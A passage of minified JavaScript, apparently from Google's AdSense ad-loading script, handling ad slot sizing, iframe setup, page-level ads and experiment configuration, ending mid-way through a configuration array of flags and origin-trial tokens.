Q(Ie),f.asntpm=Q(Je),f.asntpc=Q(He),f.asna=Q(Ce),f.asnd=Q(De),f.asnp=Q(Ee),f.asns=Q(Fe),f.asmat=Q(Be),f.asptt=Q(Le),f.easpi=P($e),f.asro=P(Me),f.host=g,f.easai=P(Ze),f);break a}}g={}}Ao(g,b);Ao(zf()?{bust:zf()}:{},b);return ec(d,b)}function Ao(a,b){Sc(a,function(c,d){void 0===b[d]&&(b[d]=c)})}function vo(a){if(a=a.document.querySelector('meta[name="google-adsense-platform-account"]'))return a.getAttribute("content")} function Bo(a){a:{var b=void 0===b?!1:b;var c=void 0===c?1024:c;for(var d=[w.top],e=[],f=0,g;g=d[f++];){b&&!Hc(g)||e.push(g);try{if(g.frames)for(var h=0;h<g.frames.length&&d.length<c;++h)d.push(g.frames[h])}catch(l){}}for(b=0;b<e.length;b++)try{var k=e[b].frames.google_esf;if(k){id=k;break a}}catch(l){}id=null}if(id)return null;e=Mc("IFRAME");e.id="google_esf";e.name="google_esf";e.src=sc(a.vb);e.style.display="none";return e} function Co(a,b,c,d){Do(a,b,c,d,function(e,f){e=e.document;for(var g=void 0,h=0;!g||e.getElementById(g+"_anchor");)g="aswift_"+h++;e=g;g=Number(f.google_ad_width||0);f=Number(f.google_ad_height||0);h=Mc("INS");h.id=e+"_anchor";pm(h,g,f);h.style.display="block";var k=Mc("INS");k.id=e+"_expand";pm(k,g,f);k.style.display="inline-table";k.appendChild(h);c.appendChild(k);return e})} function Do(a,b,c,d,e){e=e(a,b);Eo(a,c,b);c=Ia;var f=(new Date).getTime();b.google_lrv=I(d,2);b.google_async_iframe_id=e;b.google_start_time=c;b.google_bpp=f>c?f-c:1;a.google_sv_map=a.google_sv_map||{};a.google_sv_map[e]=b;d=a.document.getElementById(e+"_anchor")?function(h){return h()}:function(h){return window.setTimeout(h,0)};var g={pubWin:a,vars:b};zo(a,function(){var h=a.google_sa_impl(g);h&&h.catch&&Zi(911,h)},d)} function Eo(a,b,c){var d=c.google_ad_output,e=c.google_ad_format,f=c.google_ad_width||0,g=c.google_ad_height||0;e||"html"!=d&&null!=d||(e=f+"x"+g);d=!c.google_ad_slot||c.google_override_format||!qm[c.google_ad_width+"x"+c.google_ad_height]&&"aa"==c.google_loader_used;e&&d?e=e.toLowerCase():e="";c.google_ad_format=e;if("number"!==typeof c.google_reactive_sra_index||!c.google_ad_unit_key){e=[c.google_ad_slot,c.google_orig_ad_format||c.google_ad_format,c.google_ad_type,c.google_orig_ad_width||c.google_ad_width, c.google_orig_ad_height||c.google_ad_height];d=[];f=0;for(g=b;g&&25>f;g=g.parentNode,++f)9===g.nodeType?d.push(""):d.push(g.id);(d=d.join())&&e.push(d);c.google_ad_unit_key=Tc(e.join(":")).toString();var h=void 0===h?!1:h;e=[];for(d=0;b&&25>d;++d){f="";void 0!==h&&h||(f=(f=9!==b.nodeType&&b.id)?"/"+f:"");a:{if(b&&b.nodeName&&b.parentElement){g=b.nodeName.toString().toLowerCase();for(var k=b.parentElement.childNodes,l=0,m=0;m<k.length;++m){var q=k[m];if(q.nodeName&&q.nodeName.toString().toLowerCase()=== g){if(b===q){g="."+l;break a}++l}}}g=""}e.push((b.nodeName&&b.nodeName.toString().toLowerCase())+f+g);b=b.parentElement}h=e.join()+":";b=[];if(a)try{var t=a.parent;for(e=0;t&&t!==a&&25>e;++e){var y=t.frames;for(d=0;d<y.length;++d)if(a===y[d]){b.push(d);break}a=t;t=a.parent}}catch(F){}c.google_ad_dom_fingerprint=Tc(h+b.join()).toString()}}function Fo(){var a=Ic(w);a&&(a=Uf(a),a.tagSpecificState[1]||(a.tagSpecificState[1]={debugCard:null,debugCardRequested:!1}))} function Go(a){Xn();Yn(Wk(),I(a,8))||Xi(779,function(){var b=window;b=void 0===b?window:b;b=P(b.PeriodicSyncManager?rf:sf);var c=P(uf);b=new Vn(!0,b,c);0<Q(xf)?L.google_trust_token_operation_promise=co(b):co(b)})();a=to();null!=a&&a.then(function(b){L.google_user_agent_client_hint=Lb(b)});wn();un()};function Ho(a,b){switch(a){case "google_reactive_ad_format":return a=parseInt(b,10),isNaN(a)?0:a;case "google_allow_expandable_ads":return/^true$/.test(b);default:return b}} function Io(a,b){if(a.getAttribute("src")){var c=a.getAttribute("src")||"";(c=Gc(c))&&(b.google_ad_client=Ho("google_ad_client",c))}a=a.attributes;c=a.length;for(var d=0;d<c;d++){var e=a[d];if(/data-/.test(e.name)){var f=Ja(e.name.replace("data-matched-content","google_content_recommendation").replace("data","google").replace(/-/g,"_"));b.hasOwnProperty(f)||(e=Ho(f,e.value),null!==e&&(b[f]=e))}}} function Jo(a){if(a=ld(a))switch(a.data&&a.data.autoFormat){case "rspv":return 13;case "mcrspv":return 15;default:return 14}else return 12} function Ko(a,b,c,d){Io(a,b);if(c.document&&c.document.body&&!Zm(c,b)&&!b.google_reactive_ad_format){var e=parseInt(a.style.width,10),f=cn(a,c);if(0<f&&e>f){var g=parseInt(a.style.height,10);e=!!qm[e+"x"+g];var h=f;if(e){var k=rm(f,g);if(k)h=k,b.google_ad_format=k+"x"+g+"_0ads_al";else throw new T("No slot size for availableWidth="+f);}b.google_ad_resize=!0;b.google_ad_width=h;e||(b.google_ad_format=null,b.google_override_format=!0);f=h;a.style.width=f+"px";g=Tm(f,"auto",c,a,b);h=f;g.size().i(c,b, a);Dm(g,h,b);g=g.size();b.google_responsive_formats=null;g.minWidth()>f&&!e&&(b.google_ad_width=g.minWidth(),a.style.width=g.minWidth()+"px")}}e=a.offsetWidth||xi(a,c,"width",K)||b.google_ad_width||0;f=Fa(Tm,e,"auto",c,a,b,!1,!0);if(!P(Xe)&&488>Wf(c)){g=Ic(c)||c;h=b.google_ad_client;d=g.location&&"#ftptohbh"===g.location.hash?2:yl(g.location,"google_responsive_slot_preview")||P(ef)?1:P(df)?2:Yk(g,1,h,d)?1:0;if(g=0!==d)b:if(b.google_reactive_ad_format||Zm(c,b)||mi(a,b))g=!1;else{for(g=a;g;g=g.parentElement){h= Nc(g,c);if(!h){b.gfwrnwer=18;g=!1;break b}if(!Xa(["static","relative"],h.position)){b.gfwrnwer=17;g=!1;break b}}g=qi(c,a,e,.3,b);!0!==g?(b.gfwrnwer=g,g=!1):g=c===c.top?!0:!1}g?(b.google_resizing_allowed=!0,b.ovlp=!0,2===d?(d={},Dm(f(),e,d),b.google_resizing_width=d.google_ad_width,b.google_resizing_height=d.google_ad_height,b.iaaso=!1):(b.google_ad_format="auto",b.iaaso=!0,b.armr=1),d=!0):d=!1}else d=!1;if(e=Zm(c,b))an(e,a,b,c,d);else{if(mi(a,b)){if(d=Nc(a,c))a.style.width=d.width,a.style.height= d.height,li(d,b);b.google_ad_width||(b.google_ad_width=a.offsetWidth);b.google_ad_height||(b.google_ad_height=a.offsetHeight);b.google_loader_features_used=256;b.google_responsive_auto_format=Jo(c)}else li(a.style,b);c.location&&"#gfwmrp"==c.location.hash||12==b.google_responsive_auto_format&&"true"==b.google_full_width_responsive?an(10,a,b,c,!1):.01>Math.random()&&12===b.google_responsive_auto_format&&(a=ri(a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,c,a,b),!0!==a?(b.efwr=!1,b.gfwrnwer= a):b.efwr=!0)}};function Lo(a){this.j=new p.Set;this.u=md()||window;this.h=Q(ze);var b=0<this.h&&Rc()<1/this.h;this.A=(this.i=!!Hj(Dj(),30,b))?fd(this.u):0;this.m=this.i?qn(this.u):"";this.l=null!=a?a:new yg(100)}function Mo(){var a=O(Lo);var b=new qk;b=B(b,1,Vf(a.u).scrollWidth);b=B(b,2,Vf(a.u).scrollHeight);var c=new qk;c=B(c,1,Wf(a.u));c=B(c,2,Vf(a.u).clientHeight);var d=new sk;d=B(d,1,a.A);d=B(d,2,a.m);d=B(d,3,a.h);var e=new rk;b=Eb(e,2,b);b=Eb(b,1,c);b=Fb(d,4,tk,b);a.i&&!a.j.has(1)&&(a.j.add(1),ug(a.l,b))};function No(a){var b=window;var c=void 0===c?null:c;xc(b,"message",function(d){try{var e=JSON.parse(d.data)}catch(f){return}!e||"sc-cnf"!==e.googMsgType||c&&/[:|%3A]javascript\(/i.test(d.data)&&!c(e,d)||a(e,d)})};function Oo(a,b){b=void 0===b?500:b;Mj.call(this);this.i=a;this.ta=b;this.h=null;this.m={};this.l=null}v(Oo,Mj);Oo.prototype.j=function(){this.m={};this.l&&(yc(this.i,this.l),delete this.l);delete this.m;delete this.i;delete this.h;Mj.prototype.j.call(this)};function Po(a){Mj.call(this);this.h=a;this.i=null;this.l=!1}v(Po,Mj);var Qo=null,Ro=[],So=new p.Map,To=-1;function Uo(a){return Fi.test(a.className)&&"done"!=a.dataset.adsbygoogleStatus}function Vo(a,b,c){a.dataset.adsbygoogleStatus="done";Wo(a,b,c)} function Wo(a,b,c){var d=window;d.google_spfd||(d.google_spfd=Ko);var e=b.google_reactive_ads_config;e||Ko(a,b,d,c);uo(d,b);if(!Xo(a,b,d)){e||(d.google_lpabyc=ni(a,d)+xi(a,d,"height",K));if(e){e=e.page_level_pubvars||{};if(U(L).page_contains_reactive_tag&&!U(L).allow_second_reactive_tag){if(e.pltais){wl(!1);return}throw new T("Only one 'enable_page_level_ads' allowed per page.");}U(L).page_contains_reactive_tag=!0;wl(7===e.google_pgb_reactive)}b.google_unique_id=od(d);Sc(mn,function(f,g){b[g]=b[g]|| d[g]});b.google_loader_used="aa";b.google_reactive_tag_first=1===(U(L).first_tag_on_page||0);Wi(164,function(){Co(d,b,a,c)})}} function Xo(a,b,c){var d=b.google_reactive_ads_config,e="string"===typeof a.className&&RegExp("(\\W|^)adsbygoogle-noablate(\\W|$)").test(a.className),f=ul(c);if(f&&f.Fa&&"on"!=b.google_adtest&&!e){e=ni(a,c);var g=Vf(c).clientHeight;if(!f.qa||f.qa&&((0==g?null:e/g)||0)>=f.qa)return a.className+=" adsbygoogle-ablated-ad-slot",c=c.google_sv_map=c.google_sv_map||{},d=za(a),b.google_element_uid=d,c[b.google_element_uid]=b,a.setAttribute("google_element_uid",d),"slot"==f.tb&&(null!==Zc(a.getAttribute("width"))&& a.setAttribute("width",0),null!==Zc(a.getAttribute("height"))&&a.setAttribute("height",0),a.style.width="0px",a.style.height="0px"),!0}if((f=Nc(a,c))&&"none"==f.display&&!("on"==b.google_adtest||0<b.google_reactive_ad_format||d))return c.document.createComment&&a.appendChild(c.document.createComment("No ad requested because of display:none on the adsbygoogle tag")),!0;a=null==b.google_pgb_reactive||3===b.google_pgb_reactive;return 1!==b.google_reactive_ad_format&&8!==b.google_reactive_ad_format|| !a?!1:(w.console&&w.console.warn("Adsbygoogle tag with data-reactive-ad-format="+b.google_reactive_ad_format+" is deprecated. Check out page-level ads at https://www.google.com/adsense"),!0)}function Yo(a){var b=document.getElementsByTagName("INS");for(var c=0,d=b[c];c<b.length;d=b[++c]){var e=d;if(Uo(e)&&"reserved"!=e.dataset.adsbygoogleStatus&&(!a||d.id==a))return d}return null} function Zo(a,b,c){if(a&&a.shift)for(var d=20;0<a.length&&0<d;){try{$o(a.shift(),b,c)}catch(e){setTimeout(function(){throw e;})}--d}}function ap(){var a=Mc("INS");a.className="adsbygoogle";a.className+=" adsbygoogle-noablate";bd(a);return a} function bp(a,b){var c={};Sc(Rf,function(f,g){!1===a.enable_page_level_ads?c[g]=!1:a.hasOwnProperty(g)&&(c[g]=a[g])});ya(a.enable_page_level_ads)&&(c.page_level_pubvars=a.enable_page_level_ads);var d=ap();hd.body.appendChild(d);var e={};e=(e.google_reactive_ads_config=c,e.google_ad_client=a.google_ad_client,e);e.google_pause_ad_requests=!!U(L).pause_ad_requests;Vo(d,e,b)} function cp(a,b){function c(){return bp(a,b)}Uf(w).wasPlaTagProcessed=!0;var d=w.document;if(d.body||"complete"==d.readyState||"interactive"==d.readyState)c();else{var e=wc(Xi(191,c));xc(d,"DOMContentLoaded",e);(new w.MutationObserver(function(f,g){d.body&&(e(),g.disconnect())})).observe(d,{childList:!0,subtree:!0})}} function $o(a,b,c){var d={};Wi(165,function(){dp(a,d,b,c)},function(e){e.client=e.client||d.google_ad_client||a.google_ad_client;e.slotname=e.slotname||d.google_ad_slot;e.tag_origin=e.tag_origin||d.google_tag_origin})}function ep(a){delete a.google_checked_head;Sc(a,function(b,c){Ei[c]||(delete a[c],w.console.warn("AdSense head tag doesn't support "+c.replace("google","data").replace(/_/g,"-")+" attribute."))})} function fp(a,b){var c=L.document.querySelector('script[src*="/pagead/js/adsbygoogle.js?client="]:not([data-checked-head])')||L.document.querySelector('script[src*="/pagead/js/adsbygoogle.js"][data-ad-client]:not([data-checked-head])');if(c){c.setAttribute("data-checked-head","true");var d=U(window);if(d.head_tag_slot_vars)gp(c);else{var e={};Io(c,e);ep(e);var f=$b(e);d.head_tag_slot_vars=f;c={google_ad_client:e.google_ad_client,enable_page_level_ads:e};L.adsbygoogle||(L.adsbygoogle=[]);d=L.adsbygoogle; d.loaded?d.push(c):d.splice(0,0,c);var g;e.google_adbreak_test||(null==(g=Ib(b,Fk,13,Uk))?0:D(g,3))&&P(jf)?hp(f,a):No(function(){hp(f,a)})}}}function gp(a){var b=U(window).head_tag_slot_vars,c=a.getAttribute("src")||"";if((a=Gc(c)||a.getAttribute("data-ad-client")||"")&&a!==b.google_ad_client)throw new T("Warning: Do not add multiple property codes with AdSense tag to avoid seeing unexpected behavior. These codes were found on the page "+a+", "+b.google_ad_client);} function ip(a){if("object"===typeof a&&null!=a){if("string"===typeof a.type)return 2;if("string"===typeof a.sound||"string"===typeof a.preloadAdBreaks)return 3}return 0} function dp(a,b,c,d){if(null==a)throw new T("push() called with no parameters.");14===Cb(d,Uk)&&jp(a,wb(Tk(d),1),I(d,2));var e=ip(a);if(0!==e)P(af)&&(d=xl(),d.first_slotcar_request_processing_time||(d.first_slotcar_request_processing_time=Date.now(),d.adsbygoogle_execution_start_time=Ia)),null==Qo?(kp(a),Ro.push(a)):3===e?Wi(787,function(){Qo.handleAdConfig(a)}):Zi(730,Qo.handleAdBreak(a));else{Ia=(new Date).getTime();wo(c,d,lp(a));mp();a:{if(void 0!=a.enable_page_level_ads){if("string"===typeof a.google_ad_client){e= !0;break a}throw new T("'google_ad_client' is missing from the tag config.");}e=!1}if(e)np(a,d);else if((e=a.params)&&Sc(e,function(g,h){b[h]=g}),"js"===b.google_ad_output)console.warn("Ads with google_ad_output='js' have been deprecated and no longer work. Contact your AdSense account manager or switch to standard AdSense ads.");else{e=op(a.element);Io(e,b);c=U(w).head_tag_slot_vars||{};Sc(c,function(g,h){b.hasOwnProperty(h)||(b[h]=g)});if(e.hasAttribute("data-require-head")&&!U(w).head_tag_slot_vars)throw new T("AdSense head tag is missing. AdSense body tags don't work without the head tag. You can copy the head tag from your account on https://adsense.com."); if(!b.google_ad_client)throw new T("Ad client is missing from the slot.");b.google_apsail=dl(b.google_ad_client);var f=(c=0===(U(L).first_tag_on_page||0)&&Fl(b))&&Gl(c);c&&!f&&(np(c,d),U(L).skip_next_reactive_tag=!0);0===(U(L).first_tag_on_page||0)&&(U(L).first_tag_on_page=2);b.google_pause_ad_requests=!!U(L).pause_ad_requests;Vo(e,b,d);c&&f&&pp(c)}}}var qp=!1;function jp(a,b,c){P(Ye)&&!qp&&(qp=!0,a=lp(a)||qn(L),Yi("predictive_abg",{a_c:a,p_c:b,b_v:c},.01))} function lp(a){return a.google_ad_client?a.google_ad_client:(a=a.params)&&a.google_ad_client?a.google_ad_client:""}function mp(){if(P(Re)){var a=ul(L);if(!(a=a&&a.Fa)){try{var b=L.localStorage}catch(c){b=null}b=b?zj(b):null;a=!(b&&Ck(b)&&b)}a||vl(L,1)}}function pp(a){gd(function(){Uf(w).wasPlaTagProcessed||w.adsbygoogle&&w.adsbygoogle.push(a)})} function np(a,b){if(U(L).skip_next_reactive_tag)U(L).skip_next_reactive_tag=!1;else{0===(U(L).first_tag_on_page||0)&&(U(L).first_tag_on_page=1);if(a.tag_partner){var c=a.tag_partner,d=U(w);d.tag_partners=d.tag_partners||[];d.tag_partners.push(c)}U(L).ama_ran_on_page||Il(new Hl(a,b));cp(a,b)}} function op(a){if(a){if(!Uo(a)&&(a.id?a=Yo(a.id):a=null,!a))throw new T("'element' has already been filled.");if(!("innerHTML"in a))throw new T("'element' is not a good DOM element.");}else if(a=Yo(),!a)throw new T("All ins elements in the DOM with class=adsbygoogle already have ads in them.");return a} function rp(){var a=new Oj(L),b=new Oo(L),c=new Po(L),d=L.__cmp?1:0;a=Pj(a)?1:0;var e,f;(f="function"===typeof(null==(e=b.i)?void 0:e.__uspapi))||(b.h?b=b.h:(b.h=$c(b.i,"__uspapiLocator"),b=b.h),f=null!=b);c.l||(c.i||(c.i=c.h.googlefc?c.h:$c(c.h,"googlefcPresent")),c.l=!0);Yi("cmpMet",{tcfv1:d,tcfv2:a,usp:f?1:0,fc:c.i?1:0,ptt:9},Q(ye))}function sp(a){a={value:D(a,16)};var b=.01;Q(Te)&&(a.eid=Q(Te),b=1);a.frequency=b;Yi("new_abg_tag",a,b)}function tp(a){Dj().S[Fj(26)]=!!Number(a)} function up(a){Number(a)?U(L).pause_ad_requests=!0:(U(L).pause_ad_requests=!1,a=function(){if(!U(L).pause_ad_requests){var b=void 0===b?{}:b;if("function"===typeof window.CustomEvent)var c=new CustomEvent("adsbygoogle-pub-unpause-ad-requests-event",b);else c=document.createEvent("CustomEvent"),c.initCustomEvent("adsbygoogle-pub-unpause-ad-requests-event",!!b.bubbles,!!b.cancelable,b.detail);L.dispatchEvent(c)}},w.setTimeout(a,0),w.setTimeout(a,1E3))} function vp(a){Yi("adsenseGfpKnob",{value:a,ptt:9},.1);switch(a){case 0:case 2:a=!0;break;case 1:a=!1;break;default:throw Error("Illegal value of cookieOptions: "+a);}L._gfp_a_=a}function wp(a){a&&a.call&&"function"===typeof a&&window.setTimeout(a,0)} function hp(a,b){b=Dl(ec(hc(qc(b.sb).toString()),zf()?{bust:zf()}:{})).then(function(c){null==Qo&&(c.init(a),Qo=c,xp())});Zi(723,b);r(b,"finally").call(b,function(){Ro.length=0;Yi("slotcar",{event:"api_ld",time:Date.now()-Ia,time_pr:Date.now()-To})})} function xp(){for(var a=u(r(So,"keys").call(So)),b=a.next();!b.done;b=a.next()){b=b.value;var c=So.get(b);-1!==c&&(w.clearTimeout(c),So.delete(b))}a={};for(b=0;b<Ro.length;a={fa:a.fa,ba:a.ba},b++)So.has(b)||(a.ba=Ro[b],a.fa=ip(a.ba),Wi(723,function(d){return function(){3===d.fa?Qo.handleAdConfig(d.ba):2===d.fa&&Zi(730,Qo.handleAdBreakBeforeReady(d.ba))}}(a)))} function kp(a){var b=Ro.length;if(2===ip(a)&&"preroll"===a.type&&null!=a.adBreakDone){-1===To&&(To=Date.now());var c=w.setTimeout(function(){try{(0,a.adBreakDone)({breakType:"preroll",breakName:a.name,breakFormat:"preroll",breakStatus:"timeout"}),So.set(b,-1),Yi("slotcar",{event:"pr_to",source:"adsbygoogle"})}catch(d){console.error("[Ad Placement API] adBreakDone callback threw an error:",d instanceof Error?d:Error(String(d)))}},1E3*Q(kf));So.set(b,c)}} function yp(){if(P(Ne)&&!P(Me)){var a=L.document,b=a.createElement("LINK"),c=nd(Ml);if(c instanceof cc||c instanceof mc)b.href=sc(c);else{if(-1===tc.indexOf("stylesheet"))throw Error('TrustedResourceUrl href attribute required with rel="stylesheet"');b.href=rc(c)}b.rel="stylesheet";a.head.appendChild(b)}};(function(a,b,c,d){d=void 0===d?function(){}:d;Ui.Ua($i);Wi(166,function(){var e=sn(b);jn(I(e,2));Xk(D(e,6));d();kd(16,[1,e.toJSON()]);var f=md(ld(L))||L,g=c(kn({eb:a,nb:I(e,2)}),e);P(cf)&&al(f,e);om(f,e,null===L.document.currentScript?1:Ol(g.ub));Mo();if((!Na()||0<=Ka(Qa(),11))&&(null==(L.Prototype||{}).Version||!P(We))){Vi(P(qf));Go(e);ok();try{Mn()}catch(q){}Fo();fp(g,e);f=window;var h=f.adsbygoogle;if(!h||!h.loaded){if(P(Se)&&!D(e,16))try{if(L.document.querySelector('script[src*="/pagead/js/adsbygoogle.js?client="]'))return}catch(q){}yp(); sp(e);Q(ye)&&rp();var k={push:function(q){$o(q,g,e)},loaded:!0};try{Object.defineProperty(k,"requestNonPersonalizedAds",{set:tp}),Object.defineProperty(k,"pauseAdRequests",{set:up}),Object.defineProperty(k,"cookieOptions",{set:vp}),Object.defineProperty(k,"onload",{set:wp})}catch(q){}if(h)for(var l=u(["requestNonPersonalizedAds","pauseAdRequests","cookieOptions"]),m=l.next();!m.done;m=l.next())m=m.value,void 0!==h[m]&&(k[m]=h[m]);"_gfp_a_"in window||(window._gfp_a_=!0);Zo(h,g,e);f.adsbygoogle=k;h&& (k.onload=h.onload);(f=Bo(g))&&document.documentElement.appendChild(f)}}})})("m202204040101",rn,function(a,b){var c=2012<C(b,1,0)?"_fy"+C(b,1,0):"",d=I(b,3),e=I(b,2);b=nd(dn,a,c);d=nd(en,e,d);return{sb:b,qb:nd(fn,a,c),ob:nd(gn,a,c),pb:nd(hn,a,c),vb:d,ub:/^(?:https?:)?\/\/(?:pagead2\.googlesyndication\.com|securepubads\.g\.doubleclick\.net)\/pagead\/(?:js\/)?(?:show_ads|adsbygoogle)\.js(?:[?#].*)?$/}}); }).call(this,"[2019,\"r20220406\",\"r20190131\",null,null,null,null,\".google.co.uz\",null,null,null,[[[1082,null,null,[1]],[null,62,null,[null,0.001]],[383,null,null,[1]],[null,1130,null,[null,100]],[null,1126,null,[null,5000]],[1132,null,null,[1]],[1131,null,null,[1]],[null,1142,null,[null,2]],[null,1165,null,[null,1000]],[null,1114,null,[null,1]],[null,1116,null,[null,300]],[null,1117,null,[null,100]],[null,1115,null,[null,1]],[null,1159,null,[null,500]],[1145,null,null,[1]],[1021,null,null,[1]],[null,66,null,[null,-1]],[null,65,null,[null,-1]],[1087,null,null,[1]],[1053,null,null,[1]],[1100,null,null,[1]],[1102,null,null,[1]],[1149,null,null,[1]],[null,1072,null,[null,0.75]],[1101,null,null,[1]],[1036,null,null,[1]],[null,1085,null,[null,5]],[null,63,null,[null,30]],[null,1080,null,[null,5]],[1054,null,null,[1]],[null,1027,null,[null,10]],[null,57,null,[null,120]],[null,1079,null,[null,5]],[null,1050,null,[null,30]],[null,58,null,[null,120]],[381914117,null,null,[1]],[null,null,null,[null,null,null,[\"A8FHS1NmdCwGqD9DwOicnHHY+y27kdWfxKa0YHSGDfv0CSpDKRHTQdQmZVPDUdaFWUsxdgVxlwAd6o+dhJykPA0AAACWeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9\",\"A8zdXi6dr1hwXEUjQrYiyYQGlU3557y5QWDnN0Lwgj9ePt66XMEvNkVWOEOWPd7TP9sBQ25X0Q15Lr1Nn4oGFQkAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9\",\"A4\/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme\/J33Q\/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9\"]],null,1934],[1953,null,null,[1]],[1947,null,null,[1]],[434462125,null,null,[1]],[1938,null,null,[1]],[1948,null,null,[1]],[392736476,null,null,[1]],[null,null,null,[null,null,null,[\"AxujKG9INjsZ8\/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=\",\"Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9\",\"A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt\/P\/H4\/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9\",\"AxBHdr0J44vFBQtZUqX9sjiqf5yWZ\/OcHRcRMN3H9TH+t90V\/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9\",\"A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ==\"]],null,1932],[null,397907552,null,[null,500]],[432938498,null,null,[1]]],[[10,[[1,[[21066108],[21066109,[[316,null,null,[1]]]]],null,null,null,34,18,1],[1,[[21066110],[21066111]],null,null,null,34,18,1],[1,[[42530528],[42530529,[[368,null,null,[1]]]],[42530530,[[369,null,null,[1]],[368,null,null,[1]]]]]],[1,[[42531496],[42531497,[[1161,null,null,[1]]]]]],[1,[[42531513],[42531514,[[316,null,null,[1]]]]]],[1,[[44719338],[44719339,[[334,null,null,[1]],[null,54,null,[null,100]],[null,66,null,[null,10]],[null,65,null,[null,1000]]]]]],[200,[[44760474],[44760475,[[1129,null,null,[1]]]]]],[10,[[44760911],[44760912,[[1160,null,null,[1]]]]]],[100,[[44761043],[44761044]]],[1,[[44752536,[[1122,null,null,[1]],[1033,null,null,[1]]]],[44753656]]],[null,[[44755592],[44755593,[[1122,null,null,[1]],[1033,null,null,[1]]]],[44755594,[[1122,null,null,[1]],[1033,null,null,[1]]]],[44755653,[[1122,null,null,[1]],[1033,null,null,[1]]]]]],[10,[[44762453],[44762454,[[1122,null,null,[1]],[1033,null,null,[1]]]]]],[20,[[182982000,[[218,null,null,[1]]],[1,[[12,null,null,null,2,null,\"\\\\.wiki(dogs|how)(-fun)?\\\\.\"]]]],[182982100,[[217,null,null,[1]]],[1,[[12,null,null,null,2,null,\"\\\\.wiki(dogs|how)(-fun)?\\\\.\"]]]]],null,null,null,36,8,1],[20,[[182982200,null,[1,[[12,null,null,null,2,null,\"\\\\.wiki(dogs|how)(-fun)?\\\\.\"]]]],[182982300,null,[1,[[12,null,null,null,2,null,\"\\\\.wiki(dogs|how)(-fun)?\\\\.\"]]]]],null,null,null,36,8,1],[10,[[182984000,null,[4,null,23,null,null,null,null,[\"1\"]]],[182984100,[[218,null,null,[1]]],[4,null,23,null,null,null,null,[\"1\"]]]],null,null,null,36,10,101],[10,[[182984200,null,[4,null,23,null,null,null,null,[\"1\"]]],[182984300,null,[4,null,23,null,null,null,null,[\"1\"]]]],null,null,null,36,10,101],[10,[[21066428],[21066429]]],[10,[[21066430],[21066431],[21066432],[21066433]],null,null,null,44,22],[10,[[21066434],[21066435]],null,null,null,44,null,500],[10,[[31065342],[31065343,[[1147,null,null,[1]]]]]],[50,[[31065544],[31065545,[[1154,null,null,[1]]]]]],[50,[[31065741],[31065742,[[1134,null,null,[1]]]]]],[1,[[31065944,[[null,1103,null,[null,31065944]],[1121,null,null,[1]],[null,1119,null,[null,300]]]],[31065945,[[null,1103,null,[null,31065945]],[1121,null,null,[1]],[1143,null,null,[1]],[null,1119,null,[null,300]]]],[31065946,[[null,1103,null,[null,31065946]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[31065950,[[null,1103,null,[null,31065950]],[null,1114,null,[null,0.9]],[null,1112,null,[null,5]],[null,1113,null,[null,5]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,